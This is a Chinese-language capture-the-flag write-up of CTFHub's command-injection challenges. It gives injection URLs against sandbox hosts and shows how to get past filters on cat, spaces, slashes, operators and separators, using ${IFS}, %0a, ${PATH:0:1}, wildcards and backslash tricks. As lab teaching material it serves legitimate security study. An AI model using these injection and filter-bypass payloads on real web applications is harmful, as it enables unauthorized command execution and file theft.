CTF刷题记录CTFHub-RCE-命令注入

**

CTFHub-RCE-命令注入

**

1.无任何的过滤

一、解题思路
通过输入一些指令,利用某些特定的函数进行的操作,从而达到命令执行攻击的效果。
CTF刷题记录CTFHub-RCE-命令注入_第1张图片

因为没有任何的过滤,那么我们可以直接使用分号(;)闭合前面的语句,执行ls命令

http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls

CTF刷题记录CTFHub-RCE-命令注入_第2张图片
通过执行ls命令可以看到,该目下的文件,这是linux环境下
在这里插入图片描述

如果是window环境下,使用命令dir查看目录文件
CTF刷题记录CTFHub-RCE-命令注入_第3张图片
CTF刷题记录CTFHub-RCE-命令注入_第4张图片
我们使用cat命令读取index.php文件
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat index.php

CTF刷题记录CTFHub-RCE-命令注入_第5张图片
http://challenge-49bb6bc15fd9e3ef.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat 137391798722228.php
那我们也读取137391798722228.php这个文件试试
CTF刷题记录CTFHub-RCE-命令注入_第6张图片
查看页面源代码,可以得到flag
CTF刷题记录CTFHub-RCE-命令注入_第7张图片
二、知识点:
1、每个命令之间用(分号)”;”隔开;
说明:各命令的执行结果,不会影响其他命令的。
意思是说每个命令都会执行,但不保证每个命令都执行成功。
2、每个命令之间用&&隔开
说明:若前面的命令执行成功,才会去执行后面的命令。这样的话,可以保证所有的命令执行完毕后,执行的过程都是成功的。
3、每个命令之间用||隔开
说明:||是或的意思,只有前面的命令执行失败后采取执行下一条命令,直到执行成功一条命令为止。
4、|是管道符号。管道符号改变标准输入的源或者是标准输出的目的地。
5、&是后台任务符号。后台任务符号使shell在后台执行该任务,这样用户就可以立即得到一个提示符并继续其他工作。

**

2.过滤cat

**
一、解题思路
当cat被过滤后,可以使用一下命令进行读取文件的内容
(1)more:一页一页的显示的显示档案内容
(2)less:与more类似,但是比more更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出tac是cat的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体的内容

直接使用分号(;)代替回车,执行ls命令
CTF刷题记录CTFHub-RCE-命令注入_第8张图片
可以看到flag_124552338228659.php文件,那么我们可以直接使用cat进行读取
CTF刷题记录CTFHub-RCE-命令注入_第9张图片
可是回显的是cat被过滤了,那么使用less或more试试
CTF刷题记录CTFHub-RCE-命令注入_第10张图片
CTF刷题记录CTFHub-RCE-命令注入_第11张图片

查看页面源代码,可以得到flag
CTF刷题记录CTFHub-RCE-命令注入_第12张图片

3.过滤空格

直接使用分号(;)代替回车,执行ls命令
CTF刷题记录CTFHub-RCE-命令注入_第13张图片
可以看到flag_806737515962.php文件,那么我们可以直接使用cat进行读取
CTF刷题记录CTFHub-RCE-命令注入_第14张图片
可是回显的是空格被过滤了,那么使用<或${IFS}试试
CTF刷题记录CTFHub-RCE-命令注入_第15张图片
CTF刷题记录CTFHub-RCE-命令注入_第16张图片

查看页面源代码,可以得到flag
CTF刷题记录CTFHub-RCE-命令注入_第17张图片
当空格被过滤后,可以使用一下命令进行读取文件的内容
< <> >重定向符
%09(需要php环境)
${IFS}
$IFS$9
{cat,flag.php} //用逗号实现了空格功能
%20

4.过滤目录分隔符

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
CTF刷题记录CTFHub-RCE-命令注入_第18张图片
我们可以看到,使用逗号分隔符(;)结束前面的命令,成功执行ls命令,发现文件夹flag_is_here,接下来我们使用cd命令,进入到文件夹呢,ls查看这个文件的内容
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cd flag_is_here;ls
CTF刷题记录CTFHub-RCE-命令注入_第19张图片
发现该文件夹中有一个名为flag_252412887014927.php的文件
CTF刷题记录CTFHub-RCE-命令注入_第20张图片
我直接使用cat f*读取文件,查看页面源代码,得到flag
CTF刷题记录CTFHub-RCE-命令注入_第21张图片
方法二:

在linux的系统环境变量中${PATH:0:/}代替/
http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls flag_is_here{PATH:0:1}

同样也可以,得到flag_is_here中的文件内容
CTF刷题记录CTFHub-RCE-命令注入_第22张图片
CTF刷题记录CTFHub-RCE-命令注入_第23张图片

http://challenge-3ad858b96ca4705e.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_is_here${PATH:0:1}flag_252412887014927.php

CTF刷题记录CTFHub-RCE-命令注入_第24张图片
查看页面源代码得到flag
CTF刷题记录CTFHub-RCE-命令注入_第25张图片

5.过滤运算符

直接上手,执行ls命令,发现成功执行
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
CTF刷题记录CTFHub-RCE-命令注入_第26张图片
接下来,直接使用cat读取文件
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;cat flag_7666637111301.php
CTF刷题记录CTFHub-RCE-命令注入_第27张图片
查看页面源代码,得到flag
CTF刷题记录CTFHub-RCE-命令注入_第28张图片
经过测试,过滤了管道符(|),直接使用逗号(;)分隔
CTF刷题记录CTFHub-RCE-命令注入_第29张图片
方法二
http://challenge-11a29f066be499e3.sandbox.ctfhub.com:10800/?ip=127.0.0.1;base64 flag_7666637111301.php
使用base64加密这个文件
CTF刷题记录CTFHub-RCE-命令注入_第30张图片

使用base64在线解密,得到flag

CTF刷题记录CTFHub-RCE-命令注入_第31张图片

6.综合过滤练习

直接使用逗号分隔(;)进行分隔,执行ls命令,发现逗号(;)被过滤
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1;ls
CTF刷题记录CTFHub-RCE-命令注入_第32张图片
命令分隔符的绕过姿势
;
%0a
%0d
&
那我们使用%0a试试,发现ls命令被成功执行
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0als

CTF刷题记录CTFHub-RCE-命令注入_第33张图片
发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下
http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd flag_is_here%0als
CTF刷题记录CTFHub-RCE-命令注入_第34张图片
发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0als

成功读取flag_is_here文件夹下的内容
CTF刷题记录CTFHub-RCE-命令注入_第35张图片
接下来,直接使用cat读取flag_300121897522180.php文件里的内容

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0acat${IFS}fla\g_300121897522180.php

CTF刷题记录CTFHub-RCE-命令注入_第36张图片
发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1%0acd${IFS}fla\g_is_here%0aless${IFS}fla\g_300121897522180.php

CTF刷题记录CTFHub-RCE-命令注入_第37张图片
命令执行成功,查看页面源代码得到flag

CTF刷题记录CTFHub-RCE-命令注入_第38张图片
方法二
使用通配符进行绕过

符号 解释
* 匹配任意长度任意字符
匹配任意单个字符
[list] 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合
[^list] 匹配指定范围外的任意单个字符和字符集合
[!list] 同[^list]
{str1,str2,…} 匹配str1或者str2或者更多字符串,也可以是集合
http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0aless${IFS}f*

CTF刷题记录CTFHub-RCE-命令注入_第39张图片
查看页面源代码,也可以得到flag

CTF刷题记录CTFHub-RCE-命令注入_第40张图片
如果不想查看页面源代码,也可以使用base64加密flag_318922667817912.php文件

http://challenge-32203cc1c6b08a7e.sandbox.ctfhub.com:10800?ip=127.0.0.1%0acd${IFS}f*%0abase64${IFS}f*

CTF刷题记录CTFHub-RCE-命令注入_第41张图片
然后进行base64解密,即可得到flag
CTF刷题记录CTFHub-RCE-命令注入_第42张图片

你可能感兴趣的:(信息安全)